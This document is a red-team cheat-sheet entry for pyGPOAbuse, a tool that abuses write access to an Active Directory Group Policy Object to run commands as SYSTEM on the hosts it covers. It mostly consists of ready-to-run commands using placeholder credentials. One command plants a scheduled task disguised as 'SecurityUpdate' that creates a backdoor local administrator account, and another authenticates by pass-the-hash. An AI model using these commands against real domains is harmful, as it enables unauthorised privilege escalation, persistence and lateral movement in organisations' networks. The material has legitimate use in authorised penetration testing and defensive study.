pyGPOAbuse

pyGPOAbuse is a partial Linux/Python implementation of SharpGPOAbuse that abuses write access to a GPO by adding an immediate scheduled task to its Machine (or User) preferences, executing an arbitrary command as SYSTEM on hosts in scope at the next policy refresh. You authenticate with a password or NT hash and target the GPO by its GUID (-gpo-id), which you can obtain from PowerView's Get-DomainGPO or ldapsearch. It is ideal when operating from a Linux box with no Windows tooling; use --cleanup afterwards to remove the planted task. Command Reference: Domain: test.local Username: john Password: password123 NT hash: 2a3de7fe356ee524cc9f3d579f2e0aa7 DC IP: 10.10.10.1

# With a password: add a local admin user via an immediate scheduled task
python3 pygpoabuse.py test.local/john:password123 -gpo-id "12345677-ABCD-9876-ABCD-123456789012" \
  -dc-ip 10.10.10.1 \
  -taskname "SecurityUpdate" \
  -command 'net user backdoor P@ssw0rd /add && net localgroup Administrators backdoor /add'

# Pass-the-hash variant
python3 pygpoabuse.py test.local/john -hashes :2a3de7fe356ee524cc9f3d579f2e0aa7 -gpo-id "12345677-ABCD-9876-ABCD-123456789012" -dc-ip 10.10.10.1

Native

PrivEsc, Lateral Movement, Exploitation

MITRE

T1484.001

Requires

Username, Password, Hash

Services

LDAP, SMB

Refs

github.com/Hackndo/pyGPOAbuse

posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e

attack.mitre.org/techniques/T1484/001/